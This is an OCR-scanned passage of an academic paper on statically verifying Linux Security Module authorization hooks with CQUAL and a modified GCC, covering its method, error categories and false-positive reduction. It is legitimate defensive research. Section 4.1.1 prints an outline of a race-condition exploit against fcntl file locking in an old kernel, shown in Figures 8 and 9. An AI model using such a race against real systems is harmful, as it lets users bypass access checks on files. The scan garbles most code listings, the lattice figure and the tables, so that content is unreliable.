fier to denote a controlled object that has not been autho- 
rized. This declaration states that the file object (£ilp) 
has not been checked. 


struct file * Sunchecked filp; 


Typically, programmers specify a type qualifier lattice 
which defines the sub-type relationships between quali- 
fiers and annotate the program with the appropriate type 
qualifiers. A lattice is a partially ordered set in which 
all nonempty finite subsets have a least upper bound and 
a greatest lower bound. For example, Figure 3 shows a 
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partial order { 
Schecked < Sunchecked 
} 


Figure 3: A lattice of type qualifiers. 


lattice with two elements, checked and unchecked, 
and the subtype relation < as the partial order. Here it 
means checked is a subtype of unchecked. 


CQUAL has a few built-in inference rules that extend the 
subtype relation to qualified types. For example, one of 
the rules states thatif Q1 < Q2 (meaning qualifier Q1 
is a subtype of qualifier Q2) then type Q1 T is a sub- 
type of Q2 T for any given type T. Replacing Q1 and 
Q2 with checked and unchecked respectively, we 
havethat checked T isa subtype of unchecked T. 
From an object-oriented programming point of view, 
this means that a checked type can be used wher- 
ever an unchecked type is expected, but using an 
unchecked type where a checked type is expccted 
results in a type violation. The following code seg- 
ment shows a violation of the type hierarchy. Function 
func _aexpects a checked file pointer as its parame- 
ter, but the parameter passed ts of type unchecked file 
pointer. 


void func_a(struct file * S$checked filp); 


Void tune bp ( void} 
{ 
struct file * Sunchecked filp; 


Pune van tl) 


Using the extended inference rules, CQUAL perfonns 
qualifier inference to detect violations against the type 
relations defined by the lattice. For a more detailed de- 
scription of CQUAL, please refer to the original paper 
on CQUAL [9]. 


3.2 Approach 


CQUAL is employed to perform the central task of stat- 
ically verifying that all inter-procedural paths from any 
initializing function to any controlling function, contain 
an authorization of the controlled object (steps 6 and 7 
from Section 2). This ts achieved using the lattice con- 
figuration shown in Figure 3. Figure 4 shows a graph- 
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Figure 4: Detecting Security Violations via Type Infer- 
encing. 


ical depiction of our approach. All controlled objects 
are initialized with an unchecked qualifier. The pa- 
rameters to controlling functions that are used 1n con- 
trolled operations are specified as requiring checked 
qualified objects (as func_a was above). Authoriza- 
tions change the qualified type of the object they autho- 
rize to checked. Using these qualifiers, CQUAL’s type 
inference and analysis will reporta type violation if there 
is any path from an initializing function (where the ob- 
ject is unchecked) toa controlling function (where the 
object must be checked) that does not contain an au- 
thorization (a cast from unchecked to checked). 


There are three requirements for this solution (equivalent 
to steps 1, 2, and 3, in the previous section): 


1. All controlled objects must be initialized to 
unchecked. 


2. All function parameters that are used in a controlled 
operation must be marked as checked. 


3. Authorizations must upgrade the authorized ob- 
ject’s qualified type to checked. 


If the number of controlled objects and controlling func- 
tions was small, we could manually annotate the source 
(as was done by Wagner et. al. to detect format string 
vulnerabilities using CQUAL [14]). Unfortunately, both 
are far too numerous for manual specification to be fea- 
sible. Therefore, we use a modified version of GCC and 
a set of PERL scripts to automate this process. 


In the following subsections we detail our approach to 
each of the seven steps outlined in the previous section. 


3.2.1 Step 1: Initializing Controlled Objects to 


Unchecked 


We locate the origin (1.e., declaration) of all controlled 
objects and qualify them as unchecked. There are 
three different kinds of variables that a function can ac- 
cess: global variables, local variables, and parameters. 
Currently we do not consider global variables, which ac- 
count for less than 2% of controlled objects. 


All locally declared variables of a controlled type are 
qualified as unchecked. A special case of this ts 
when reference to a structure member of a controlled 
data type is passed as a parameter to a function (e.g. 
f(dentry->d_ inode), where field d inode 
is of controlled type). It should also be qualified as 
unchecked, because it 1s equivalent to declanng a 
local variable, initializing it to be a reference to the 
structure member, and then passing the variable to the 
function. To qualify such cases, we explicitly cast the 
parameter to unchecked at the function call (e.g. 
£((struct inode * Sunchecked) dentry- 
sod 1node):): 


The task of marking local variables of controlled types 
is automated using two tools: one for controlled local 
variables and one for the passing of structure member 
references to functions. First, we modified GCC to out- 
put the location (file and line number) of any local vari- 
able declaration with a controlled type. To achieve this, 
we inserted code that traverses the abstract syntax tree 
(AST) for each function as it is compiled. The code 
scans the AST for local declarations (VAR_DECL nodes) 
and prints the location details if the type (TREE _ TYPE) 
of the declaration 1s a controlled type (independent of 
the level of indirection). In the case of structure member 
references, our GCC code scans the AST for function 
calls (CALL EXPR nodes). If any parameter ts a refer- 
ence to structure member (COMPONENT_REF node, see 
Section 3.2.2 for more discussion), and the type of the 
referenced field is one of the controlled types, then GCC 
prints out detailed location and type information about 
the parameter. Next, this infonnation 1s input toa PERL 
script that inserts appropriate annotations into the source 
code. 


For parameters in function declarations, we leave their 
types unqualified. CQUAL then automatically infers 
their type during the analysis process. There are a few 
exceptions to this rule, where we manually annotate 
function prototypes (in two header files) that we know 
expect checked type parameters. 
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Figure 5: Detecting Controlled Operations tn the AST 


3.2.2 Step 2: Annotating Checked Parameters 


Controlled operations occur whenever a member of a 
controlled type is read or written (all controlled data 
types are structures). Controlled operations must only 
be performed on checked objects. With current ver- 
sion of CQUAL, we cannot specify type requirements 
for variables at individual statement level, instead, we 
specify type requirements on any fiinction parameters 
that are used in controlled operations within that func- 
tion. This analysis verifies complete mediation in the 
inter-procedural case (1.e., where the controlling func- 
tion is different from the authorizing function) but, it 
cannot verify complete mediation for controlled oper- 
ations within an authorizing function. Our approach to 
intra-procedural analysis is described in step 4 below. 


To automate the annotation process, we again added 
code to GCC to output the details of controlled oper- 
ations, and then input this infornation into a series of 
PERL scripts. These scripts aggregate the controlled op- 
erations to the function parameters, and add checked 
qualifiers to those parameter declarations. The type in- 
ference engine then propagates this up the call graph, 
raising an error if an unchecked local variable 1s 
passed to a checked parameter. 


Figure 5 shows the subgraph structure that our analysis 
searches for in the AST. Access to structure members 
is represented in the AST by COMPONENT_ REF nodes. 
These nodes have two children, the first 1s an expres- 
sion which specifies the variable being accessed, and the 
second is a FIELD_DECL node which specifies which 
field is being accessed. The expression that specifies the 
variable being accessed is a chain of INDIRECT REF 
and ADDR_EXPR nodes corresponding to the C derefer- 
ence (*) and address (&) operators, respectively. At the 
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end of this chain is either a VAR_DECL corresponding 
to a local variable, a PARM_DECL corresponding to a 
parameter, ora COMPONENT _ REF if we are accessing a 
member of a structure embedded in another structure. 


Our analysis searches for COMPONENT REF nodes in 
the AST. When one ts found, it determines the type of 
the structure being accessed (the left subgraph in Fig- 
ure 5). If this is a controlled type, then the expres- 
sions is accessing a member of a controlled type, and 
the location information (file, function, and line num- 
ber) is reported. We also output whether this opera- 
tion is on a local variable (VAR_DECL) or a parameter 
(PARM DECL). 


This infonnation is then input to a series of PERL 
scripts. These scripts scan the GCC output for con- 
trolled operations on parameters (i.e., those that contain 
PARM_DECL nodes). Using the location information 
provided by GCC, they find the function declaration, and 
annotate the parameter with the checked qualifier. 


3.2.3. Step 3: Authorizations 


In theory, once an authorization is performed on a 
controlled object, its qualified type is changed from 
unchecked to checked. However, the current ver- 
sion of CQUAL we use ts flow-insensitive, 1.e., the qual- 
ifier type of a variable remains the same throughout its 
scope (e.g., the scope of a local vartable is its defining 
block, typically the function). To get around this lim- 
itation, following an authorization, we declare a new, 
checked qualified variable with the same base type as 
the object authorized. All uses of the original controlled 
variable following the authorization are replaced by the 
new variable. This process is automated using a PERL 
script that replaces uses of the original variable via sim- 
ple pattern matching. 


The simple approach of replacing all uses of the vari- 
able on source lines following the authorization makes 
two assumptions about the function’s control-flow graph 
that must be verified. Firstly, that there are no back- 
edges from below the authorization to above it. This 
ensures that the authorization 1s not inside a loop and 
that there are no goto statements below the authoriza- 
tion that jump to above the authorization. Secondly, that 
there is no control-flow path from above to below the au- 
thorization that docs not execute the authorization. This 
ensures that the authorization is not inside a conditional 
or switch statement. 
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These assumptions are verified by adding code to GCC 
to build the function’s control-flow graph from its regis- 
ter transfer language (RTL) description. Once the graph 
is created, the two properties described above are veri- 
fied. While the vast majority of authorizations possess 
these properties, exceptions do exist. Fortunately, the 
number of exceptions is small enough that they can be 
handled manually. 


3.2.4 Step 4: Verifying Controlled Operations 
Within Authorizing Functions 


The analysis so far verifies mediation in the inter- 
procedural case, but, it does not verify intra-procedural 
mediation. Intra-procedural analysis is required to verify 
that controlled operations within an authorizing function 
occur after the authorization. 


Our approach in step 3 makes this analysis simple. In 
step 3 we replaced all uses of the controlled object (co) 
following the authorization with a new variable (co’). An 
intra-procedural control-flow analysis verified the valid- 
ity of this replacement. The intra-procedural analysis 
reduces to finding all controlled operations within the 
function that operate on local variables (parameters are 
handled by the inter-procedural analysis). If the local 
variable is an introduced variable (co’) then it is medi- 
ated, otherwise a warning Is generated. 


3.2.5 Step 5: Verifying Assignments to Checked 
Objects 


As described in Section 2, complete mediation requires 
verification that a variable is not re-assigned between 
an authorization and a controlled operation. From the 
CQUAL perspective, the right hand side (RHS) of an as- 
signment takes one of four forms: 


1. Anunchecked object. 
2. A checked object. 
3. A structure member (e.g. dentry->d_inode). 


4. An explicit type cast (e.g. (struct in- 
ode* ) 0xc2000000). Since explicit casts in the 
Linux source obviously don’t tnclude our quali- 
fiers, CQUAL treats them as unqualified. 


CQUAL correctly handles the first two cases, as the ob- 
jects are qualified. If the left hand side (LHS) of the 


assignment is checked then CQUAL will raise a type 
violation for the first case and allow the second case. 


In the third case, however, the structure member has no 
type qualifiers to cause type violations. With no other 
information, CQUAL will therefore infer that the RHS 
has the same qualified type as the LHS, and report no 
errors. As an example of how this can produce false- 
negatives, consider the code fragment below. 


void func_a(struct inode * Schecked 
inode) ; 


void func b(struct inode * Schecked 
inode) 


{ 
inode = dentry~>d-_inode; 


func_a(inode) ; 


} 


The variable inode in func_b has already passed se- 
curity check since it has a checked qualifier. However, 
it is assigned a value dent ry- >d_inode, before be- 
ing passed to func_a which expects a checked in- 
ode. Clearly we would like CQUAL to raise a type vio- 
lation, since dentry->d_inode ts not an authorized 
variable. However, according to CQUAL inference rule, 
CQUAL will inferthat dentry- >inode 1s checked 
and allow the function call. 


The solution 1s to treat dentry->d_ inode as 
an unauthorized local variable by typecasting it to 
unchecked. At present we have not implemented the 
interim solution and so this source of false-negatives re- 
mains in our results. 


The fourth case fails to report type violations for the 
same reason. Explicit casts in the Linux kernel do not in- 
clude our type qualifiers, therefore, CQUAL infers their 
type. To address this problem, we wrote a PERL script 
that scans the source for explicit casts, and inserts the 
unchecked qualifier. Any assignment of such an ex- 
pression to a checked variable or parameter will result 
In a type violation. 


3.2.6 Steps 6 and 7: Determining and Verifying All 
Inter-procedural Code Paths 


CQUAL performs interprocedural inferencing to verify 
that between an initializing function and the controlling 
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function, there exists a security check. The controlled 
object variable has an unchecked qualifier when it’s 
defined in the initializing function. When the initializ- 
ing function calls other functions passing the controlled 
variable as a parameter, the unchecked qualifier 1s 
propagated down the calling chain, until the authoriz- 
ing function is reached, at which point, anew checked 
variable is defined and used after the security check 
(Step 4 in Section 2). When the authorizing function 
calls other functions passed the new checked vart- 
able, the checked qualifier 1s again propagated along 
the calling chain, until it reaches the controlling tunc- 
tion. If a controlling function 1s reached without passing 
through an authorizing function, then an error will be 
raised, because the variable will have an unchecked 
type and the controlling function expects a checked 


type. 


3.3. Complete Authorization 


Verification of complete authorization is basically car- 
ried out in the same way as complete mediation, with 
slight modification to the lattice structure based on the 
authorization requirement information. Rather than hav- 
ing a generic checked type qualifier for all security 
checks, we assign a type qualifier for each unique secu- 
rity check. A controlled operation that requires multi- 
ple security checks will then have a type qualifier that 
is a Subclass of the corresponding type qualifiers of the 
checks required. For instance, if a system contains two 
security checks, denoted by Ui and Uz respectively, as- 
suming that the controlling function £f (file) requires 
both security checks to be performed on the £ile ob- 
ject, then the type qualifier lattice should be: 


partial order { 
ScheckedForC1C2 < 
ScheckedForC1C2 < 
ScheckedForcCl < 
ScheckedForC2 < 


ScheckedForcCl 
ScheckedForC2 
Sunchecked 
Sunchecked 


Figure 6 shows the graphic representation of the lattice. 
Function £ should expect the parameter to be of type 
checkedPoreic2: 


Figure 7 gives an example of a controlled operation re- 
quiring multiple authorizations identified by the runtime 
analysis tool [6]. Three security checks are necessary 
for the controlled operation unlink () on a directory 
inode, namely, permission to traverse the inode, permis- 
sion to write the inode, and permission to unlink file 
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Figure 6: A four-node type qualifier lattice. 


in the directory. In the function prototype definition of 
unlink (), we specify the authorization requirement 
checkedforExecWriteDirunlink. After the se- 
curity checks, a new variable Cdir that possesses the 
right authorization requirements replaces the old van- 
able dir, and 1s passed to the controlling function. 


4 Results 


We ran the experiments on Linux version 2.4.9 with the 
September 4th, 2001 LSM patch. We used GCC version 
3.0.2 and CQUAL version 0.9 for our static analysis. 


We analyzed four subsystems of Linux: the file system 
(including ext2 physical file system), virtual memory 
management, networking, and IPC. The analysis gener- 
ated 524 type errors (CQUAL inference conflicts). Be- 
low we give a detailed analysis of the type errors and 
discuss techniques in coping with false positives. 


4.1 Type Error Categorization 


We categorize the unique type errors into three groups 
that we examine below. 


4.1.1 Category 1: Inconsistent Checking and Usage 


of Controlled Object Variables 


In this category, the variable that 1s checked is not the 
variable that 1s used subsequently. There is, however, 
some sort of mapping between the checked variable and 
the used variable (e.g. the used variable 1s a field of 
the checked variable). Therefore, it is easy to obtain 
the checked variable from the passed variable and vice 
versa. 
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/* inserted by our tool */ 
struct inode * 
ScheckedForExecWriteDirunlink Cdir; 


/* code from include/linux/fs.h */ 
struct inode operations { 


int (*unlink) (struct inode * 
ScheckedForExecWriteDirunlink, 
Struct ‘dentry -*)):; 


/* code from fs/namei.c */ 
Int vis unlink(struct. inede *dixr, 
struct dentry *dentry) 


/* check for EXEC and WRITE */ 
may delete(dir, dentry, 0); 


/* check for UNLINK */ 
security _ops->inode_ops 
->punlink(dir, dentry) ; 


/* controlled operation */ 
dir =>1.0op-SunlLink(Cdir, déenery)= 


Figure 7: An example of controlled operation requiring 
multiple authorizations. Note that crror checking code is 
removed (o make the code easier to follow. 


These type errors are subject to TOCTTOU [2] attacks, 
because the mapping between the checked variable and 
the used variable might change during the course of exe- 
cution. Whether the vulnerability is exploitable depends 
on whether the user can manipulate the mapping without 
special privilege. At least one of the type errors that we 
found is exploitable, as we demonstrate below. 


Figure 8 shows the code path that contains the type er- 
ror. The code sequence shows Linux implementation 
of file locking via the fcnt1 system call. In func- 
tion sys fcntl(), the variable filp, which is a 
pointer to the file structure and is retrieved via the 
file descriptor fd, is checked by the security_ops- 
>file ops->fcntl(filp,...) hook. However, 
after the check, the file descriptor fd, instead of the 
checked variable filp, 1s passed to the intermediate 
function do_fcntl(fd,...) and eventually to the 
worker function fcntl_ getlk(fd,...) , where the 
filp ts retrieved again with the given fd. 


This double retrieval of the file pointer creates a 
race condition and can be exploited as follows. A 
user can have the security ops->file ops- 
>fcntl(filp) authorization perforined on a differ- 
ent file to the one that is eventually locked. Figure 9 
shows the exploit. 


Note that although step (7) is written as a whole system 
call, there is actually only one line of C (an assignment) 
in step (7) that needs to come between (6) and (8). Since 
step (6) does a get_user, the attacker can cause their 
own program to page fault which enables step (7) to be 
perfonned before (8). 


Also note that non-LSM Linux is not vulnerable since 
the validation in fcnt1_set1k ts done after the sec- 
ond lookup. LSM is vulnerable because the only autho- 
rization that protects the operation is perfornied before 
the second lookup. 


As an example of how dangerous this can be, login 
and su (PAM(’d versions) both try to lock the file 
/var/run/utmp (world readable). insmod locks 
any modules it loads. 


A patch that fixes this problem was posted to the LSM 
mailing list [5]. 


The remaining type errors in this category involve kernel 
data structures that cannot be easily modified by users 
via system calls. As a result, it is unclear whether these 
type errors can lead to exploits. However, it certainly 
complicates the code unnecessarily and increases the 
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/* from tS7 fent].cex/ 

long ‘sys -fentl(unsigned ant fd, 
unsigned int cmd, 
unsigned long arg) 


Struct. fale: * fa lp; 


filp = fget (fd) ; 


* » & 


err = security_ops->file_ops 
->fcntl(filp, cmd, arg); 
err = do_fcntl(fd, cmd, arg, filp); 


} 


Static long 

do_fcntl(unsigned int fd, 
unsigned int cmd, 
unsigned long arg, 
struct file * fi1p) -% 


switch (cmd) { 
Case: FP SE TLR: 


err = fcentl_setlk(fd, ...); 


/* from fs/locks.c */ 
Fent dl get l(t ds sce) 4 
Struct. fide: fi lips 


filp = fget(fd); 


/* operate on filp */ 


Figure 8: Code path from Linux 2.4.9 containing an ex- 
ploitable type error. 
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THREAD -A: 

(i) teak = Open ny bE let) s-Cr RD WR 

(2) fd2 = Oopen( "target fale"). -O sRDONLY); 
(3) -fentl (idl). PaskhT bk, 2 OWRLOCK)< 


KERNEL-A (do_fcntl): 

(4) filp = fget(fd1) ; 

(S) security ops->file ops 
=Srenc. Crd). 

(6) £entl seclki tdi) cmd) 


THREAD -B: 

/* this «closes fdi,.dups fd2, 
* and assigns it to fdl. 

a7 

(ae Guib2-( 4hd2 fd, 4): 


KERNEL-A (fcntl_set1k) 

/* Chis. filp is: tor the target 
* file due to (7). 

a 

(8)) filo: = fget “Cidl) 

(9) lock file 


Figure 9: An example exploit. 


chance of race conditions when the data structures are 
not properly synchronized, which may result in poten- 
tial exploits. 


Here we present a type error of this kind. Many se- 
curity checks that intend to protect the inode structure 
are performed on the dentry data structure. For exam- 
ple, the following code does the permission check on the 
dentry structure, but does the “set attribute” operation 
on the inode structure. 


/* from fs/attr.e */ 


security_ops->inode ops 
->setattr(dentry, attr); 


1node-=-dentry-sd. inode; 
inode setattr(inode, attr); 


Jt is also quite common in Linux to check on the file 
data structure and operate on the inode data structure. 
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/* from mm/filemap.c */ 
Struct page * filemap_nopage ( 
SELUCE “Vid rea—eS EDUC *ared, ey 


struct file * Sunchecked file 
= area-svm file; 


page cache.,ead(file, 222); 


Static inilone int page. cache: read 
SErUCts Paves 4 FT. 6 ad 


{ 


struct inode * Sunchecked inode = 
file-sf_dentry-sd inode; 

struct address space *mapping = 
inode->1i mapping; 


mMapping->a ops->readpage(file, page) ; 


Figure 10: An example of unauthorized access. 


4.1.2 Category 2: Controlled Objects Modified 
Without Security Checks 


This category includes functions that modify controlled 
objects without any security checks. The code seg- 
ment in Figure 10 shows an example of such cases. 
The function filemap_nopage() is called when a 
page fault occurs within an m’mappcd region. Since 
there is no check on the file object within the func- 
tion, its type is unchecked. It is then passed to 
function page _cache read(), which in turn calls 
mapping->a_ops->readpage(),whichexpects a 
checked £ile object. This code path shows that once a 
file is mapped into a process address space, the process 
can access the file even after security attributes of the file 
have changed. 


Since there is an LSM authorization hook to verify read 
access to a file on each read call, this is inconsistent 
with the current hooks. A discussion with the LSM 
community revealed that enforcement on each read 
Is optional and will only be used for files that are not 
m’*mapped. This hooks, as well as the one for checking 
access on write have been documented to clarify this 
inconsistency. 


In other cases, for example function iput (), it seems 
that checks are not necessary, as the function Is used for 
reference counting. In other cases, such as initialization 


function clean _inode() for the inode data struc- 
ture, there is no need for security protection, as modifi- 
cation of the data structure is restricted to zeroing and 
initialization of the contents. We call these functions 
“sate’’ functions and consider type errors induced by 
these functions as false positives. 


4.1.3 Category 3: Kernel-Initiated Operations By- 
passing Security Checks 


This category includes operations that are initiated in- 
side the kernel, instead of going through system call in- 
terfaces, As such, they do not go through the normal se- 
curity checks that system calls go through. As the kernel 
developers have added some limitations on the kemel’s 
usc of these commands, tt Is clear that they are security- 
sensitive. 


One example is the do_coredump () function, which 
creates a core file containing in-memory image of the 
running process, when certain signals are caught that end 
the process. A check is done when the core file is cre- 
ated, however, subsequent seeks and writes to the file are 
performed without security checks. This deviates from 
the user case, where every LSeek () or write() sys- 
tem cal] requires a check. 


Another cxample 1s the kswap daemon. The kswapd 
daemon calls prune _icache(), which tries to sync 
the inodes that are to be released. The inodes are reached 
via a global variable super_blocks, which contains 
heads for various inode lists. 


4.2 Type Error Rates 


CQUAL type errors can be examined in two ways: 
source type errors and path type errors. A source type 
error 1s a variable that 1s used in such a way that a type 
error is generated. That is, the variable is used in an 
unchecked state in at least one function that expects 
the variable to be checked. A path tvpe error 1s a 
unique call path that leads to a type error. Figure 11 
shows an exaimple path type error. Note that for each 
source type error there may be multiple path type errors. 


Table | shows both the source and path type error counts 
for Linux kernel subsystems. For source type errors, we 
also display the source type error rate, defined to be the 
percentage of controlled variables that are involved in 
type errors. 
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Subsystems |, Path Type Error Counts Source Type Error Rate (%) | 
File System 73 | = | 10% | 
Memory Management || 18 17 9% 
Networking | 431 308 22% 


ie ee 


Table |: Path and source type errors. 


Table 1 shows two interesting facts: (1) over 500 path 
type errors are present in the kernel and (2) most of the 
type errors occur on one path. Fortunately for the LSM 
community, most the type errors identified by the anal- 
ysis are false positives. However, examining this many 
type errors to find a few exploitable errors is not practi- 
cal. Therefore, we need secondary analyses to remove 
obvious false positives. Second, since most types errors 
associate one source with one error path, so it may be 
that some of the sinks of the analysis (1.e., the functions 
with controlled operations) may notreally require autho- 
rization. 


4.3. Reducing False Positives 


Given that the tools generated about 500 type errors, one 
may conclude that the false positive rate is unmanage- 
able, but we do not find this to be the case. A signifi- 
cant number of the errors are in functions in which it is 
easy to verify that no security compromises are present, 
such as those caused by “safe” functions described in 
Section 4.1.2. “Safe” functions are falsely marked as 
controlling functions because they modify field mem- 
bers of controlled data structures. However, since the 
modification is for the purpose of reference counting or 
initialization, the modification does not require security 
authorizations. 


To identify what these functions are, we (slightly) mod- 
ified CQUAL to print the inferencing path that leads to 
a type error. Figure 11 shows an example error path in- 
volving a “safe” function iput (). iput () decreases 
the usage count for the given inode and releases it if the 
usage count hits zero. 


We then report the list of controlling functions that are 
the sinks of the error paths. Because fot controlling 
functions often contribute to multiple type errors, the 
number of controlling functions are much smaller than 
the number of type errors. We then manually go through 
the list and identify “safe” functions, which are removed 
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inode.ii:8383 Sunchecked <= inode p 
Tnodes.112 38387 -1nOde= p <= 1 put “argo 
INOGe.Di26831 TpuUec.argl0: <=-Schecked 


Figure 11: An example error path ending in function 
iput. Each line represents an inference according to the 
CQUAL rules, c.g. the first line means that inode-_p ts a super 
class of the unchecked qualifier type. The first column shows 
the source file and line number where the inference occurs. 


from the list of controlling functions. Appendix A lists 
the “safe” functions we identified. The CQUAL analysis 
process is then restarted. 


It is painful to manually identify “safe” functions. But 
two reasons make it a manageable task. First, there are 
only a few such functions, even though they accounted 
for a significant portion of the type errors (Table 2). Sec- 
ondly, these functions are relatively stable across kernel 
releases. So with a high probability this task only needs 
to be done once and the results can be reused in future 
kernel releases. After the “safe” functions are identified, 
we only need to verify that they do not change in new 
kernel releases, or that the changes do not affect their 
intended functionality. 


Table 2 shows the reduction in terms of both path and 
source type errors after removing the “safe” functions 
for the four kernel subsystems we tested. This reduces 
the number of type errors by around 75% for both path 
and source type errors. 


While this is a significant improvement, other means 
for removing false positives are being examined. First, 
there may be a significant number of other “safe” func- 
tions. Second, there are several cases where a variable 
is assigned from another variable that is checked. In 
the file system, often the dentry 1s authorized, then 
the inode is assigned from the dentry->d_inode. 
Unfortunately, CQUAL cannot yet reason that a field 
extracted from a checked structure is also checked 
(see Section 5.2). Third, we have not yet fully examined 
kernel-initiated paths that lead to type errors. 
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Path Type Errors _ 
} With “Safe” | Without “Sate” 
Subsystems | Functions Functions 
| File System | 
Memory Management || 18 14 
|| Networking 431 
| IPC | 2 vA 


Source Type Errors 





% With “Sate” | Without “Safe” % | 
Functions Functions 
49% | 57 31 | 45% ~~ | 
22% aad E 24% | 
308 82% 
0% 0% | 


Table 2: Error reduction after eliminating “safe” functions. 


5 Discussion 


Here we examine the effectiveness of our approach anda 
possible extension to CQUAL that may improve its util- 


ity. 


5.1 Effectiveness of Our Approach 


Given the extensive nature of static analysis, we are 
somewhat surprised that we have only found a couple of 
exploitable CQUAL type errors in our analysis. Some of 
the analyses are fairly new, so we may find more errors, 
but this is a bit of a surprise. 


We are encouraged by one of the exploits that we did 
find. The Category | TOCTTOU exploit is one that 
would be difficult to find via runtime analysis. Typt- 
cally, the association between the file descriptor and the 
file would not change, so benchmarks consisting of be- 
nign programs would not uncover this error. With static 
analysis, the inconsistency was clear. 


Another aspect of the effectiveness of our approach 1s 
its ease of use, since most of the analysis process 1s au- 
tomated. It is straightforward to apply the process to a 
modified kernel or new releases of the kernel. We tested 
this by running the tool against Linux version 2.4.18. 
After the kernel source tree is downloaded, and a few 
small changes are applied to the Makefile and two source 
files (see Section 3.2.1), the rest of the process requires 
little manual effort (except for identifying false posi- 
tives). The time it takes to complete the process Is also 
quite reasonable. As a matter of fact, most of the time 
is spent onkernel builds - our modified version of GCC 
collects information on controlled types while compiling 
the source code. 


Here we present the times for the major steps. These 
numbers are only intended for a ballpark measure of the 
effort needed to perform analysis, so they should not be 


interpreted as representing the optimized performance of 
the tools. The test platform was a 667 MHz Pentium 
II machine with 128MB of memory. It took about 30 
minutes to do the three clean kernel builds using our ex- 
tended GCC to gencrate the annotation information. It 
should be possible to perfonn all this analysis in one ker- 
nel build, however. Most of that time is contributed by 
the GCC backend that generates machine code (whereas 
our GCC analysis code only works on the AST tree). We 
compared normal kernel build time with the build time 
that has our GCC analysis code enabled, and the differ- 
ence Is negligible. Annotation of the source by the Perl 
scripts took about 1 minute, And finally, it took about 
10 minutes for CQUAL to perform the analysis. With 
the additional analysis overhead of a 15 minutes or less, 
we expect that an optimized process can be done suf- 
ficiently quickly for these tools to be useful for kernel 
programmers. 


5.2. Possible CQUAL Extension 


A possible extension to CQUAL would enable us to cor- 
rectly verify mediation between the controlled opera- 
tions and all security-sensitive operations. The CQUAL 
team has an interim solution and are looking into a gen- 
eral solution [8]. We describe the problem here. 


Currently, structures in CQUAL are treated as a collec- 
tion of fields, so there is no relationship between a struc- 
ture and its member fields. For example, in the code 
below, var->bar would not have type checked even 
though var does. Since structures are used extensively 
in the kernel, we believe it would greatly enhance the 
tool if CQUAL supports user-defined rules for inferring 
the types of member fields from the types of structures. 


SEruck foo: A 
int bar; 
be 


Schecked struct foo *var; 
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For instance, for case 3 in Section 3.2.5, we would 
want the inode that is extracted from a checked den- 
try to be checked as well. In the case that a den- 
try 1s unchecked, the inode of the dentry is implicitly 
unchecked as well. 


In addition, with current version of CQUAL, all in- 
stances of a structure type share the same qualifer type. 
For example, if bar is qualified as a checked type, all 
instances of foo would have a checked field forbar. 
What we want Is to assign qualifier types to members on 
a per-instance basis. 


For verifying that the controlled operations mediate the 
security-sensitive operations, we would also want any 
structure field accessed through a checked type to be 
checked as well. This would enable us to propagate 
authorizations through the structure completely. Then, 
we could find any members of a security-sensitive data 
type that is not accessed through a controlled data type. 


Note that this approach 1s not always applicable depend- 
ing on the semantics of the qualifications. This would 
not be appropriate for the type of qualifiers used by Wag- 
ner et. al. [14]. 


6 Related Work 


We are unaware of any other research work on Static ver- 
ification of LSM. However, a number of static analysis 
tools that were successfully applied to the security do- 
main. Here, we compare their work to ours. 


Wagner et. al. [14] used CQUAL to identify format 
string vulnerabilities. Their work motivated us to ap- 
ply CQUAL to the more complicated problem of LSM 
verification. The main difference between our usage of 
CQUAL andtheirs lies inthe annotation process. In their 
work, the target code for annotations is well-defined and 
has a limited number of occurrences. Therefore, the an- 
notations are done by hand. In our case, the scope of an- 
notated code is much larger, and thus we employ GCC 
to automatically detect the code to be annotated. We au- 
tomate the process of marking as well. 


Engler et a/ enables extension of GCC, called xgcc, 
to do source analyses, which they refer to as meta- 
compilation [7, 1]. A rule language, called metal, is 
used to express the necessary analysis annotations in a 
higher-level language. Since the rules match multiple 
statements, the amount of annotation effort is reduced. 
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A variety of software bugs, including security vulnera- 
bilities, have been found by this tool. While it appears 
that vgcc could be used for the static analysis we per- 
form, xgcc is not available at this time, so we are unable 
to evaluate it. A key difference may be that mefal/ rule 
expressions will have to be extended to reference GCC 
AST structures rather than the source directly. 


Larochelle et. al. [1 |] enhanced their LC Lint tool to de- 
tect likely buffer overflows in C programs. The LCLint 
tool bases static analysis on annotations of the programs 
(or the libraries) that restrict the range of values a refer- 
ence can have. The strength of LCLint is that the analy- 
Sis 1S flow-sensitive, and thus more accurate. The down- 
side of the LCLint tool is its inflexibility. The current 
LCLint tool is customized to deal with a set of prede- 
fined software bugs. It appears that extending LCLint 
for LSM verification would require a significant amount 
of effort (1.e. adding new annotation types). CQUAL, 
on the other hand, is more extensible by employing user- 
defined type qualifer lattices. 


Necula et. al. [12] define the CCured type system. 
CCured leverages the fact that most C source is writ- 
ten in a type-safe manner to perform a variety of static 
checks on the source during compilation for things like 
buffer overflows. For things that cannot be checked stat- 
ically, CCured introduces runtime checks into the code. 
This enables certain kinds of errors to be caught regard- 
less of whether they can be found statically or dynami- 
cally. While we agree with this approach to verification, 
as yet the types of errors that CCured can find do not 
include authorization hook placement. 


Koved et. al. [10] presented a technique for comput- 
ing the access rights requirements of Java applications. 
Their approach uses more powerful programming anal- 
ysis techniques: a context-sensitive interprocedural data 
flow analysis is employed. Although the analysis is per- 
formed on Java code, it 1s conceivable that such tech- 
niques can be applied to our problem domain as well. 


7 Conclusion 


This paper presented a novel approach to the verification 
of LSM authorization hook placement using CQUAL, a 
type-based static analysis tool. With a simple CQUAL 
lattice configuration and some simple GCC analysis, 
we were able to verify complete mediation of opera- 
tions on key kernel data structures. Our results re- 
vealed some potential security vulnerabilities in the cur- 
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rent LSM framework, one of which we demonstrated to 
be exploitable. We further showed that given authoriza- 
tion requirements, CQUAL could be used to verify com- 
plete authorization as well. Our results demonstrate that 
combinations of conceptually simple tools can be pow- 
erful enough to carry out fairly complex analyses. 


Our main problem is the elimination of false positives. 
Static analysis generally errs on the conservative side, 
so we Initially had a large number of type errors. How- 
ever, we have identified techniques for secondary anal- 
yses that can eliminate many of those false positives. 
Extensions to CQUAL are necessary to eliminate some 
types of false positives, but this is ongoing work. 
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A “Safe” Functions List 


[ Subsystems | "Safe Functions ; Source Files l 
File System __put_super fs/super.c 


fS/super. | 
[clean-inode | ‘finodec | 


iput fs/inode.c 
| filc_opcrations.poll include/linux/fs.h 
supcr_opcrations.write_supcr includc/linux/Is.h 
super_opcrations.rcad_inodc include/linux/fs.h 
| super_opcrations.rcad_inodc2 include/linux/fs.h 
[_super-operations put.inode | include/linux/is.h__| 
|| super_opcrations.clcar_inodc include/linux/fs.h | 
|| super_opcrations.put_supcr include/linux/fs.h 
| Biock-<dcvice.operations.rclease | include/linux/ish | 
filc_operations.rclcase include/linux/fs.h || 
